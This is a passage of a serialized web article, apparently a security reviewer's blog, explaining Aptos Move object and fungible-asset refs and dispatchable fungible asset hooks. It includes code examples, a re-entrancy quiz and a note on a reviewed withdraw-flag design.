",{"type":19,"tag":27,"props":62746,"children":62748},{"className":62747},[],[62749],{"type":24,"value":46333},{"type":24,"value":62751}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":19,"tag":20,"props":62753,"children":62754},{},[62755,62757,62762,62764,62769,62770,62776,62778,62783,62785,62790],{"type":24,"value":62756},"Let's get back to the ",{"type":19,"tag":27,"props":62758,"children":62760},{"className":62759},[],[62761],{"type":24,"value":59561},{"type":24,"value":62763}," deletion example. Both ",{"type":19,"tag":27,"props":62765,"children":62767},{"className":62766},[],[62768],{"type":24,"value":60846},{"type":24,"value":8436},{"type":19,"tag":27,"props":62771,"children":62773},{"className":62772},[],[62774],{"type":24,"value":62775},"fungible_asset::remove_store",{"type":24,"value":62777}," use the same object-specific ",{"type":19,"tag":27,"props":62779,"children":62781},{"className":62780},[],[62782],{"type":24,"value":60778},{"type":24,"value":62784}," permission. It can be created only during object creation. There is no separate ",{"type":19,"tag":27,"props":62786,"children":62788},{"className":62787},[],[62789],{"type":24,"value":60778},{"type":24,"value":62791}," for fungible assets.",{"type":19,"tag":158,"props":62793,"children":62794},{"className":363,"code":60728,"language":362,"meta":7,"style":7},[62795],{"type":19,"tag":27,"props":62796,"children":62797},{"__ignoreMap":7},[62798,62805,62844,62851,62858],{"type":19,"tag":168,"props":62799,"children":62800},{"class":170,"line":171},[62801],{"type":19,"tag":168,"props":62802,"children":62803},{"style":373},[62804],{"type":24,"value":60740},{"type":19,"tag":168,"props":62806,"children":62807},{"class":170,"line":198},[62808,62812,62816,62820,62824,62828,62832,62836,62840],{"type":19,"tag":168,"props":62809,"children":62810},{"style":393},[62811],{"type":24,"value":59160},{"type":19,"tag":168,"props":62813,"children":62814},{"style":393},[62815],{"type":24,"value":3642},{"type":19,"tag":168,"props":62817,"children":62818},{"style":175},[62819],{"type":24,"value":60756},{"type":19,"tag":168,"props":62821,"children":62822},{"style":212},[62823],{"type":24,"value":500},{"type":19,"tag":168,"props":62825,"children":62826},{"style":393},[62827],{"type":24,"value":60765},{"type":19,"tag":168,"props":62829,"children":62830},{"style":399},[62831],{"type":24,"value":1922},{"type":19,"tag":168,"props":62833,"children":62834},{"style":399},[62835],{"type":24,"value":4577},{"type":19,"tag":168,"props":62837,"children":62838},{"style":825},[62839],{"type":24,"value":60778},{"type":19,"tag":168,"props":62841,"children":62842},{"style":212},[62843],{"type":24,"value":557},{"type":19,"tag":168,"props":62845,"children":62846},{"class":170,"line":415},[62847],{"type":19,"tag":168,"props":62848,"children":62849},{"emptyLinePlaceholder":14},[62850],{"type":24,"value":1093},{"type":19,"tag":168,"props":62852,"children":62853},{"class":170,"line":450},[62854],{"type":19,"tag":168,"props":62855,"children":62856},{"style":373},[62857],{"type":24,"value":60797},{"type":19,"tag":168,"props":62859,"children":62860},{"class":170,"line":560},[62861,62865,62869,62873,62877,62881,62885,62889],{"type":19,"tag":168,"props":62862,"children":62863},{"style":393},[62864],{"type":24,"value":59160},{"type":19,"tag":168,"props":62866,"children":62867},{"style":393},[62868],{"type":24,"value":3642},{"type":19,"tag":168,"props":62870,"children":62871},{"style":175},[62872],{"type":24,"value":60813},{"type":19,"tag":168,"props":62874,"children":62875},{"style":212},[62876],{"type":24,"value":500},{"type":19,"tag":168,"props":62878,"children":62879},{"style":382},[62880],{"type":24,"value":60822},{"type":19,"tag":168,"props":62882,"children":62883},{"style":399},[62884],{"type":24,"value":1922},{"type":19,"tag":168,"props":62886,"children":62887},{"style":825},[62888],{"type":24,"value":60831},{"type":19,"tag":168,"props":62890,"children":62891},{"style":212},[62892],{"type":24,"value":557},{"type":19,"tag":20,"props":62894,"children":62895},{},[62896,62898,62903,62905,62911],{"type":24,"value":62897},"On the other hand, the \"frozen\" status of a ",{"type":19,"tag":27,"props":62899,"children":62901},{"className":62900},[],[62902],{"type":24,"value":59561},{"type":24,"value":62904}," is toggled using a ",{"type":19,"tag":27,"props":62906,"children":62908},{"className":62907},[],[62909],{"type":24,"value":62910},"TransferRef",{"type":24,"value":62912},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":19,"tag":158,"props":62914,"children":62916},{"className":363,"code":62915,"language":362,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n ref: &TransferRef,\n store: Object\u003CT>,\n frozen: bool,\n)\n",[62917],{"type":19,"tag":27,"props":62918,"children":62919},{"__ignoreMap":7},[62920,62956,62980,63007,63026],{"type":19,"tag":168,"props":62921,"children":62922},{"class":170,"line":171},[62923,62927,62931,62936,62940,62944,62948,62952],{"type":19,"tag":168,"props":62924,"children":62925},{"style":393},[62926],{"type":24,"value":59160},{"type":19,"tag":168,"props":62928,"children":62929},{"style":393},[62930],{"type":24,"value":3642},{"type":19,"tag":168,"props":62932,"children":62933},{"style":393},[62934],{"type":24,"value":62935}," set_frozen_flag",{"type":19,"tag":168,"props":62937,"children":62938},{"style":212},[62939],{"type":24,"value":3240},{"type":19,"tag":168,"props":62941,"children":62942},{"style":825},[62943],{"type":24,"value":3422},{"type":19,"tag":168,"props":62945,"children":62946},{"style":399},[62947],{"type":24,"value":1922},{"type":19,"tag":168,"props":62949,"children":62950},{"style":393},[62951],{"type":24,"value":3366},{"type":19,"tag":168,"props":62953,"children":62954},{"style":212},[62955],{"type":24,"value":4024},{"type":19,"tag":168,"props":62957,"children":62958},{"class":170,"line":198},[62959,62964,62968,62972,62976],{"type":19,"tag":168,"props":62960,"children":62961},{"style":382},[62962],{"type":24,"value":62963}," ref",{"type":19,"tag":168,"props":62965,"children":62966},{"style":399},[62967],{"type":24,"value":1922},{"type":19,"tag":168,"props":62969,"children":62970},{"style":399},[62971],{"type":24,"value":4577},{"type":19,"tag":168,"props":62973,"children":62974},{"style":825},[62975],{"type":24,"value":62910},{"type":19,"tag":168,"props":62977,"children":62978},{"style":212},[62979],{"type":24,"value":915},{"type":19,"tag":168,"props":62981,"children":62982},{"class":170,"line":415},[62983,62987,62991,62995,62999,63003],{"type":19,"tag":168,"props":62984,"children":62985},{"style":393},[62986],{"type":24,"value":26884},{"type":19,"tag":168,"props":62988,"children":62989},{"style":399},[62990],{"type":24,"value":1922},{"type":19,"tag":168,"props":62992,"children":62993},{"style":825},[62994],{"type":24,"value":59046},{"type":19,"tag":168,"props":62996,"children":62997},{"style":212},[62998],{"type":24,"value":3240},{"type":19,"tag":168,"props":63000,"children":63001},{"style":825},[63002],{"type":24,"value":3422},{"type":19,"tag":168,"props":63004,"children":63005},{"style":212},[63006],{"type":24,"value":3573},{"type":19,"tag":168,"props":63008,"children":63009},{"class":170,"line":450},[63010,63014,63018,63022],{"type":19,"tag":168,"props":63011,"children":63012},{"style":393},[63013],{"type":24,"value":58698},{"type":19,"tag":168,"props":63015,"children":63016},{"style":399},[63017],{"type":24,"value":1922},{"type":19,"tag":168,"props":63019,"children":63020},{"style":825},[63021],{"type":24,"value":9495},{"type":19,"tag":168,"props":63023,"children":63024},{"style":212},[63025],{"type":24,"value":915},{"type":19,"tag":168,"props":63027,"children":63028},{"class":170,"line":560},[63029],{"type":19,"tag":168,"props":63030,"children":63031},{"style":212},[63032],{"type":24,"value":557},{"type":19,"tag":20,"props":63034,"children":63035},{},[63036,63037,63042,63043,63048],{"type":24,"value":14062},{"type":19,"tag":27,"props":63038,"children":63040},{"className":63039},[],[63041],{"type":24,"value":46333},{"type":24,"value":3893},{"type":19,"tag":27,"props":63044,"children":63046},{"className":63045},[],[63047],{"type":24,"value":62910},{"type":24,"value":63049}," is used to transfer object ownership:",{"type":19,"tag":158,"props":63051,"children":63053},{"className":363,"code":63052,"language":362,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n self: address,\n}\n",[63054],{"type":19,"tag":27,"props":63055,"children":63056},{"__ignoreMap":7},[63057,63065,63098,63117],{"type":19,"tag":168,"props":63058,"children":63059},{"class":170,"line":171},[63060],{"type":19,"tag":168,"props":63061,"children":63062},{"style":373},[63063],{"type":24,"value":63064},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":19,"tag":168,"props":63066,"children":63067},{"class":170,"line":198},[63068,63072,63077,63081,63086,63090,63094],{"type":19,"tag":168,"props":63069,"children":63070},{"style":382},[63071],{"type":24,"value":6842},{"type":19,"tag":168,"props":63073,"children":63074},{"style":825},[63075],{"type":24,"value":63076}," TransferRef",{"type":19,"tag":168,"props":63078,"children":63079},{"style":393},[63080],{"type":24,"value":6851},{"type":19,"tag":168,"props":63082,"children":63083},{"style":393},[63084],{"type":24,"value":63085}," drop",{"type":19,"tag":168,"props":63087,"children":63088},{"style":212},[63089],{"type":24,"value":471},{"type":19,"tag":168,"props":63091,"children":63092},{"style":393},[63093],{"type":24,"value":3375},{"type":19,"tag":168,"props":63095,"children":63096},{"style":212},[63097],{"type":24,"value":691},{"type":19,"tag":168,"props":63099,"children":63100},{"class":170,"line":415},[63101,63105,63109,63113],{"type":19,"tag":168,"props":63102,"children":63103},{"style":382},[63104],{"type":24,"value":18241},{"type":19,"tag":168,"props":63106,"children":63107},{"style":399},[63108],{"type":24,"value":1922},{"type":19,"tag":168,"props":63110,"children":63111},{"style":393},[63112],{"type":24,"value":3685},{"type":19,"tag":168,"props":63114,"children":63115},{"style":212},[63116],{"type":24,"value":915},{"type":19,"tag":168,"props":63118,"children":63119},{"class":170,"line":450},[63120],{"type":19,"tag":168,"props":63121,"children":63122},{"style":212},[63123],{"type":24,"value":1326},{"type":19,"tag":20,"props":63125,"children":63126},{},[63127,63129,63134],{"type":24,"value":63128},"While the fungible asset's ",{"type":19,"tag":27,"props":63130,"children":63132},{"className":63131},[],[63133],{"type":24,"value":62910},{"type":24,"value":63135}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":19,"tag":158,"props":63137,"children":63139},{"className":363,"code":63138,"language":362,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n metadata: Object\u003CMetadata>\n}\n",[63140],{"type":19,"tag":27,"props":63141,"children":63142},{"__ignoreMap":7},[63143,63151,63159,63190,63217],{"type":19,"tag":168,"props":63144,"children":63145},{"class":170,"line":171},[63146],{"type":19,"tag":168,"props":63147,"children":63148},{"style":373},[63149],{"type":24,"value":63150},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":19,"tag":168,"props":63152,"children":63153},{"class":170,"line":198},[63154],{"type":19,"tag":168,"props":63155,"children":63156},{"style":373},[63157],{"type":24,"value":63158},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":19,"tag":168,"props":63160,"children":63161},{"class":170,"line":415},[63162,63166,63170,63174,63178,63182,63186],{"type":19,"tag":168,"props":63163,"children":63164},{"style":382},[63165],{"type":24,"value":6842},{"type":19,"tag":168,"props":63167,"children":63168},{"style":825},[63169],{"type":24,"value":63076},{"type":19,"tag":168,"props":63171,"children":63172},{"style":393},[63173],{"type":24,"value":6851},{"type":19,"tag":168,"props":63175,"children":63176},{"style":393},[63177],{"type":24,"value":63085},{"type":19,"tag":168,"props":63179,"children":63180},{"style":212},[63181],{"type":24,"value":471},{"type":19,"tag":168,"props":63183,"children":63184},{"style":393},[63185],{"type":24,"value":3375},{"type":19,"tag":168,"props":63187,"children":63188},{"style":212},[63189],{"type":24,"value":691},{"type":19,"tag":168,"props":63191,"children":63192},{"class":170,"line":450},[63193,63197,63201,63205,63209,63213],{"type":19,"tag":168,"props":63194,"children":63195},{"style":393},[63196],{"type":24,"value":59037},{"type":19,"tag":168,"props":63198,"children":63199},{"style":399},[63200],{"type":24,"value":1922},{"type":19,"tag":168,"props":63202,"children":63203},{"style":825},[63204],{"type":24,"value":59046},{"type":19,"tag":168,"props":63206,"children":63207},{"style":212},[63208],{"type":24,"value":3240},{"type":19,"tag":168,"props":63210,"children":63211},{"style":825},[63212],{"type":24,"value":59055},{"type":19,"tag":168,"props":63214,"children":63215},{"style":212},[63216],{"type":24,"value":3427},{"type":19,"tag":168,"props":63218,"children":63219},{"class":170,"line":560},[63220],{"type":19,"tag":168,"props":63221,"children":63222},{"style":212},[63223],{"type":24,"value":1326},{"type":19,"tag":20,"props":63225,"children":63226},{},[63227,63229,63235,63237,63243],{"type":24,"value":63228},"Additionally, there are fungible asset-specific references such as ",{"type":19,"tag":27,"props":63230,"children":63232},{"className":63231},[],[63233],{"type":24,"value":63234},"MintRef",{"type":24,"value":63236}," for minting and ",{"type":19,"tag":27,"props":63238,"children":63240},{"className":63239},[],[63241],{"type":24,"value":63242},"BurnRef",{"type":24,"value":63244}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":19,"tag":36,"props":63246,"children":63248},{"id":63247},"dispatchable-fungible-assets",[63249],{"type":24,"value":63250},"Dispatchable fungible assets",{"type":19,"tag":20,"props":63252,"children":63253},{},[63254],{"type":24,"value":63255},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":19,"tag":20,"props":63257,"children":63258},{},[63259],{"type":24,"value":63260},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":19,"tag":63262,"props":63263,"children":63264},"warning",{},[63265],{"type":19,"tag":20,"props":63266,"children":63267},{},[63268,63270,63276],{"type":24,"value":63269},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":19,"tag":27,"props":63271,"children":63273},{"className":63272},[],[63274],{"type":24,"value":63275},"transfer_assert_minimum_deposit",{"type":24,"value":63277}," that can help mitigate such risks.",{"type":19,"tag":20,"props":63279,"children":63280},{},[63281,63283,63288,63290,63297],{"type":24,"value":63282},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":19,"tag":27,"props":63284,"children":63286},{"className":63285},[],[63287],{"type":24,"value":59160},{"type":24,"value":63289}," to ensure ",{"type":19,"tag":269,"props":63291,"children":63294},{"href":63292,"rel":63293},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[273],[63295],{"type":24,"value":63296},"their signature remains immutable",{"type":24,"value":63298},". An example implementation might look like this:",{"type":19,"tag":158,"props":63300,"children":63302},{"className":363,"code":63301,"language":362,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n store: Object\u003CT>,\n amount: u64,\n transfer_ref: &TransferRef,\n): FungibleAsset {\n //check paused, gather fees etc.\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n store: Object\u003CT>,\n fa: FungibleAsset,\n transfer_ref: &TransferRef,\n) {\n //check paused, gather fees etc.\n fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[63303],{"type":19,"tag":27,"props":63304,"children":63305},{"__ignoreMap":7},[63306,63342,63369,63388,63412,63431,63439,63485,63492,63499,63535,63562,63582,63605,63612,63619,63663],{"type":19,"tag":168,"props":63307,"children":63308},{"class":170,"line":171},[63309,63313,63317,63322,63326,63330,63334,63338],{"type":19,"tag":168,"props":63310,"children":63311},{"style":393},[63312],{"type":24,"value":59160},{"type":19,"tag":168,"props":63314,"children":63315},{"style":393},[63316],{"type":24,"value":3642},{"type":19,"tag":168,"props":63318,"children":63319},{"style":393},[63320],{"type":24,"value":63321}," withdraw_hook",{"type":19,"tag":168,"props":63323,"children":63324},{"style":212},[63325],{"type":24,"value":3240},{"type":19,"tag":168,"props":63327,"children":63328},{"style":825},[63329],{"type":24,"value":3422},{"type":19,"tag":168,"props":63331,"children":63332},{"style":399},[63333],{"type":24,"value":1922},{"type":19,"tag":168,"props":63335,"children":63336},{"style":393},[63337],{"type":24,"value":3366},{"type":19,"tag":168,"props":63339,"children":63340},{"style":212},[63341],{"type":24,"value":4024},{"type":19,"tag":168,"props":63343,"children":63344},{"class":170,"line":198},[63345,63349,63353,63357,63361,63365],{"type":19,"tag":168,"props":63346,"children":63347},{"style":393},[63348],{"type":24,"value":26884},{"type":19,"tag":168,"props":63350,"children":63351},{"style":399},[63352],{"type":24,"value":1922},{"type":19,"tag":168,"props":63354,"children":63355},{"style":825},[63356],{"type":24,"value":59046},{"type":19,"tag":168,"props":63358,"children":63359},{"style":212},[63360],{"type":24,"value":3240},{"type":19,"tag":168,"props":63362,"children":63363},{"style":825},[63364],{"type":24,"value":3422},{"type":19,"tag":168,"props":63366,"children":63367},{"style":212},[63368],{"type":24,"value":3573},{"type":19,"tag":168,"props":63370,"children":63371},{"class":170,"line":415},[63372,63376,63380,63384],{"type":19,"tag":168,"props":63373,"children":63374},{"style":393},[63375],{"type":24,"value":59067},{"type":19,"tag":168,"props":63377,"children":63378},{"style":399},[63379],{"type":24,"value":1922},{"type":19,"tag":168,"props":63381,"children":63382},{"style":825},[63383],{"type":24,"value":3294},{"type":19,"tag":168,"props":63385,"children":63386},{"style":212},[63387],{"type":24,"value":915},{"type":19,"tag":168,"props":63389,"children":63390},{"class":170,"line":450},[63391,63396,63400,63404,63408],{"type":19,"tag":168,"props":63392,"children":63393},{"style":393},[63394],{"type":24,"value":63395}," transfer_ref",{"type":19,"tag":168,"props":63397,"children":63398},{"style":399},[63399],{"type":24,"value":1922},{"type":19,"tag":168,"props":63401,"children":63402},{"style":399},[63403],{"type":24,"value":4577},{"type":19,"tag":168,"props":63405,"children":63406},{"style":825},[63407],{"type":24,"value":62910},{"type":19,"tag":168,"props":63409,"children":63410},{"style":212},[63411],{"type":24,"value":915},{"type":19,"tag":168,"props":63413,"children":63414},{"class":170,"line":560},[63415,63419,63423,63427],{"type":19,"tag":168,"props":63416,"children":63417},{"style":212},[63418],{"type":24,"value":524},{"type":19,"tag":168,"props":63420,"children":63421},{"style":399},[63422],{"type":24,"value":1922},{"type":19,"tag":168,"props":63424,"children":63425},{"style":825},[63426],{"type":24,"value":59025},{"type":19,"tag":168,"props":63428,"children":63429},{"style":212},[63430],{"type":24,"value":691},{"type":19,"tag":168,"props":63432,"children":63433},{"class":170,"line":666},[63434],{"type":19,"tag":168,"props":63435,"children":63436},{"style":373},[63437],{"type":24,"value":63438}," //check paused, gather fees etc.\n",{"type":19,"tag":168,"props":63440,"children":63441},{"class":170,"line":694},[63442,63447,63451,63456,63460,63465,63469,63473,63477,63481],{"type":19,"tag":168,"props":63443,"children":63444},{"style":212},[63445],{"type":24,"value":63446}," fungible_asset",{"type":19,"tag":168,"props":63448,"children":63449},{"style":399},[63450],{"type":24,"value":888},{"type":19,"tag":168,"props":63452,"children":63453},{"style":175},[63454],{"type":24,"value":63455},"withdraw_with_ref",{"type":19,"tag":168,"props":63457,"children":63458},{"style":212},[63459],{"type":24,"value":500},{"type":19,"tag":168,"props":63461,"children":63462},{"style":393},[63463],{"type":24,"value":63464},"transfer_ref",{"type":19,"tag":168,"props":63466,"children":63467},{"style":212},[63468],{"type":24,"value":471},{"type":19,"tag":168,"props":63470,"children":63471},{"style":393},[63472],{"type":24,"value":3375},{"type":19,"tag":168,"props":63474,"children":63475},{"style":212},[63476],{"type":24,"value":471},{"type":19,"tag":168,"props":63478,"children":63479},{"style":393},[63480],{"type":24,"value":17761},{"type":19,"tag":168,"props":63482,"children":63483},{"style":212},[63484],{"type":24,"value":557},{"type":19,"tag":168,"props":63486,"children":63487},{"class":170,"line":707},[63488],{"type":19,"tag":168,"props":63489,"children":63490},{"style":212},[63491],{"type":24,"value":1326},{"type":19,"tag":168,"props":63493,"children":63494},{"class":170,"line":725},[63495],{"type":19,"tag":168,"props":63496,"children":63497},{"emptyLinePlaceholder":14},[63498],{"type":24,"value":1093},{"type":19,"tag":168,"props":63500,"children":63501},{"class":170,"line":746},[63502,63506,63510,63515,63519,63523,63527,63531],{"type":19,"tag":168,"props":63503,"children":63504},{"style":393},[63505],{"type":24,"value":59160},{"type":19,"tag":168,"props":63507,"children":63508},{"style":393},[63509],{"type":24,"value":3642},{"type":19,"tag":168,"props":63511,"children":63512},{"style":393},[63513],{"type":24,"value":63514}," deposit_hook",{"type":19,"tag":168,"props":63516,"children":63517},{"style":212},[63518],{"type":24,"value":3240},{"type":19,"tag":168,"props":63520,"children":63521},{"style":825},[63522],{"type":24,"value":3422},{"type":19,"tag":168,"props":63524,"children":63525},{"style":399},[63526],{"type":24,"value":1922},{"type":19,"tag":168,"props":63528,"children":63529},{"style":393},[63530],{"type":24,"value":3366},{"type":19,"tag":168,"props":63532,"children":63533},{"style":212},[63534],{"type":24,"value":4024},{"type":19,"tag":168,"props":63536,"children":63537},{"class":170,"line":755},[63538,63542,63546,63550,63554,63558],{"type":19,"tag":168,"props":63539,"children":63540},{"style":393},[63541],{"type":24,"value":26884},{"type":19,"tag":168,"props":63543,"children":63544},{"style":399},[63545],{"type":24,"value":1922},{"type":19,"tag":168,"props":63547,"children":63548},{"style":825},[63549],{"type":24,"value":59046},{"type":19,"tag":168,"props":63551,"children":63552},{"style":212},[63553],{"type":24,"value":3240},{"type":19,"tag":168,"props":63555,"children":63556},{"style":825},[63557],{"type":24,"value":3422},{"type":19,"tag":168,"props":63559,"children":63560},{"style":212},[63561],{"type":24,"value":3573},{"type":19,"tag":168,"props":63563,"children":63564},{"class":170,"line":1008},[63565,63570,63574,63578],{"type":19,"tag":168,"props":63566,"children":63567},{"style":393},[63568],{"type":24,"value":63569}," fa",{"type":19,"tag":168,"props":63571,"children":63572},{"style":399},[63573],{"type":24,"value":1922},{"type":19,"tag":168,"props":63575,"children":63576},{"style":825},[63577],{"type":24,"value":59025},{"type":19,"tag":168,"props":63579,"children":63580},{"style":212},[63581],{"type":24,"value":915},{"type":19,"tag":168,"props":63583,"children":63584},{"class":170,"line":1025},[63585,63589,63593,63597,63601],{"type":19,"tag":168,"props":63586,"children":63587},{"style":393},[63588],{"type":24,"value":63395},{"type":19,"tag":168,"props":63590,"children":63591},{"style":399},[63592],{"type":24,"value":1922},{"type":19,"tag":168,"props":63594,"children":63595},{"style":399},[63596],{"type":24,"value":4577},{"type":19,"tag":168,"props":63598,"children":63599},{"style":825},[63600],{"type":24,"value":62910},{"type":19,"tag":168,"props":63602,"children":63603},{"style":212},[63604],{"type":24,"value":915},{"type":19,"tag":168,"props":63606,"children":63607},{"class":170,"line":1042},[63608],{"type":19,"tag":168,"props":63609,"children":63610},{"style":212},[63611],{"type":24,"value":12250},{"type":19,"tag":168,"props":63613,"children":63614},{"class":170,"line":1055},[63615],{"type":19,"tag":168,"props":63616,"children":63617},{"style":373},[63618],{"type":24,"value":63438},{"type":19,"tag":168,"props":63620,"children":63621},{"class":170,"line":1064},[63622,63626,63630,63635,63639,63643,63647,63651,63655,63659],{"type":19,"tag":168,"props":63623,"children":63624},{"style":212},[63625],{"type":24,"value":63446},{"type":19,"tag":168,"props":63627,"children":63628},{"style":399},[63629],{"type":24,"value":888},{"type":19,"tag":168,"props":63631,"children":63632},{"style":175},[63633],{"type":24,"value":63634},"deposit_with_ref",{"type":19,"tag":168,"props":63636,"children":63637},{"style":212},[63638],{"type":24,"value":500},{"type":19,"tag":168,"props":63640,"children":63641},{"style":393},[63642],{"type":24,"value":63464},{"type":19,"tag":168,"props":63644,"children":63645},{"style":212},[63646],{"type":24,"value":471},{"type":19,"tag":168,"props":63648,"children":63649},{"style":393},[63650],{"type":24,"value":3375},{"type":19,"tag":168,"props":63652,"children":63653},{"style":212},[63654],{"type":24,"value":471},{"type":19,"tag":168,"props":63656,"children":63657},{"style":393},[63658],{"type":24,"value":59218},{"type":19,"tag":168,"props":63660,"children":63661},{"style":212},[63662],{"type":24,"value":1249},{"type":19,"tag":168,"props":63664,"children":63665},{"class":170,"line":1087},[63666],{"type":19,"tag":168,"props":63667,"children":63668},{"style":212},[63669],{"type":24,"value":1326},{"type":19,"tag":63671,"props":63672,"children":63673},"question",{},[63674,63701],{"type":19,"tag":20,"props":63675,"children":63676},{},[63677,63679,63685,63687,63693,63694,63700],{"type":24,"value":63678},"Why hook functions rely on ",{"type":19,"tag":27,"props":63680,"children":63682},{"className":63681},[],[63683],{"type":24,"value":63684},"*_with_ref",{"type":24,"value":63686}," calls? What would happen if the hook function called ",{"type":19,"tag":27,"props":63688,"children":63690},{"className":63689},[],[63691],{"type":24,"value":63692},"dispatchable_fungible_asset::withdraw",{"type":24,"value":14242},{"type":19,"tag":27,"props":63695,"children":63697},{"className":63696},[],[63698],{"type":24,"value":63699},"fungible_asset::withdraw_with_ref",{"type":24,"value":552},{"type":19,"tag":63702,"props":63703,"children":63704},"template",{"v-slot:answer-0":7},[63705,63717],{"type":19,"tag":20,"props":63706,"children":63707},{},[63708,63710,63715],{"type":24,"value":63709},"A1: Hook functions rely on ",{"type":19,"tag":27,"props":63711,"children":63713},{"className":63712},[],[63714],{"type":24,"value":63684},{"type":24,"value":63716}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":19,"tag":20,"props":63718,"children":63719},{},[63720,63722,63727],{"type":24,"value":63721},"A2: A ",{"type":19,"tag":27,"props":63723,"children":63725},{"className":63724},[],[63726],{"type":24,"value":63692},{"type":24,"value":63728}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":19,"tag":20,"props":63730,"children":63731},{},[63732],{"type":24,"value":63733},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":19,"tag":158,"props":63735,"children":63737},{"className":363,"code":63736,"language":362,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n assert_withdraw_flag(true);\n [...]\n set_withdraw_flag(false);\n fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n [...]\n }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n assert_withdraw_flag(false);\n [...]\n set_withdraw_flag(true);\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[63738],{"type":19,"tag":27,"props":63739,"children":63740},{"__ignoreMap":7},[63741,63836,63856,63871,63891,63934,63949,63956,63963,64082,64101,64116,64135,64178],{"type":19,"tag":168,"props":63742,"children":63743},{"class":170,"line":171},[63744,63748,63752,63756,63760,63764,63768,63772,63776,63780,63784,63788,63792,63796,63800,63804,63808,63812,63816,63820,63824,63828,63832],{"type":19,"tag":168,"props":63745,"children":63746},{"style":393},[63747],{"type":24,"value":59160},{"type":19,"tag":168,"props":63749,"children":63750},{"style":393},[63751],{"type":24,"value":3642},{"type":19,"tag":168,"props":63753,"children":63754},{"style":393},[63755],{"type":24,"value":59169},{"type":19,"tag":168,"props":63757,"children":63758},{"style":212},[63759],{"type":24,"value":3240},{"type":19,"tag":168,"props":63761,"children":63762},{"style":825},[63763],{"type":24,"value":3422},{"type":19,"tag":168,"props":63765,"children":63766},{"style":399},[63767],{"type":24,"value":1922},{"type":19,"tag":168,"props":63769,"children":63770},{"style":393},[63771],{"type":24,"value":3366},{"type":19,"tag":168,"props":63773,"children":63774},{"style":212},[63775],{"type":24,"value":5047},{"type":19,"tag":168,"props":63777,"children":63778},{"style":393},[63779],{"type":24,"value":3375},{"type":19,"tag":168,"props":63781,"children":63782},{"style":399},[63783],{"type":24,"value":1922},{"type":19,"tag":168,"props":63785,"children":63786},{"style":825},[63787],{"type":24,"value":59046},{"type":19,"tag":168,"props":63789,"children":63790},{"style":212},[63791],{"type":24,"value":3240},{"type":19,"tag":168,"props":63793,"children":63794},{"style":825},[63795],{"type":24,"value":3422},{"type":19,"tag":168,"props":63797,"children":63798},{"style":212},[63799],{"type":24,"value":4066},{"type":19,"tag":168,"props":63801,"children":63802},{"style":393},[63803],{"type":24,"value":59218},{"type":19,"tag":168,"props":63805,"children":63806},{"style":399},[63807],{"type":24,"value":1922},{"type":19,"tag":168,"props":63809,"children":63810},{"style":825},[63811],{"type":24,"value":59025},{"type":19,"tag":168,"props":63813,"children":63814},{"style":212},[63815],{"type":24,"value":471},{"type":19,"tag":168,"props":63817,"children":63818},{"style":393},[63819],{"type":24,"value":63464},{"type":19,"tag":168,"props":63821,"children":63822},{"style":399},[63823],{"type":24,"value":1922},{"type":19,"tag":168,"props":63825,"children":63826},{"style":399},[63827],{"type":24,"value":4577},{"type":19,"tag":168,"props":63829,"children":63830},{"style":825},[63831],{"type":24,"value":62910},{"type":19,"tag":168,"props":63833,"children":63834},{"style":212},[63835],{"type":24,"value":12250},{"type":19,"tag":168,"props":63837,"children":63838},{"class":170,"line":198},[63839,63844,63848,63852],{"type":19,"tag":168,"props":63840,"children":63841},{"style":175},[63842],{"type":24,"value":63843}," assert_withdraw_flag",{"type":19,"tag":168,"props":63845,"children":63846},{"style":212},[63847],{"type":24,"value":500},{"type":19,"tag":168,"props":63849,"children":63850},{"style":382},[63851],{"type":24,"value":1423},{"type":19,"tag":168,"props":63853,"children":63854},{"style":212},[63855],{"type":24,"value":1249},{"type":19,"tag":168,"props":63857,"children":63858},{"class":170,"line":415},[63859,63863,63867],{"type":19,"tag":168,"props":63860,"children":63861},{"style":212},[63862],{"type":24,"value":60203},{"type":19,"tag":168,"props":63864,"children":63865},{"style":399},[63866],{"type":24,"value":7032},{"type":19,"tag":168,"props":63868,"children":63869},{"style":212},[63870],{"type":24,"value":9217},{"type":19,"tag":168,"props":63872,"children":63873},{"class":170,"line":450},[63874,63879,63883,63887],{"type":19,"tag":168,"props":63875,"children":63876},{"style":175},[63877],{"type":24,"value":63878}," 